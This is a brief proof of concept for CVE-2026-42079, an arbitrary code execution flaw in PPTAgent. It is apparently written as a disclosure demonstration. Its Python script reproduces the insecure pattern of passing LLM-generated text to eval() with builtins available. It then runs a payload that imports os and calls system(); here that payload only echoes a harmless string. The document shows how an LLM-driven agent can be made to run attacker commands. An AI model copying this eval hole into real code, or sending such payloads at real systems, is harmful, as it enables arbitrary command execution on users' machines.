CVE-2026-42079 PPTAgent任意代码执行漏洞

import os # Simulating the vulnerable function in PPTAgent prior to commit 418491a # The vulnerability lies in passing LLM output directly to eval with builtins available. def vulnerable_eval(llm_generated_code): """ This function mimics the vulnerable behavior where builtins are accessible. """ try: # Vulnerable line: eval() with builtins in scope # In the real scenario, 'llm_generated_code' comes from the LLM response. result = eval(llm_generated_code, {"__builtins__": __builtins__}) return result except Exception as e: return str(e) # Proof of Concept: Malicious payload generated by an LLM # This payload aims to execute a system command (e.g., 'whoami' or 'id') malicious_payload = "__import__('os').system('echo CVE-2026-42079 PWNED')" print(f"Executing payload: {malicious_payload}") vulnerable_eval(malicious_payload)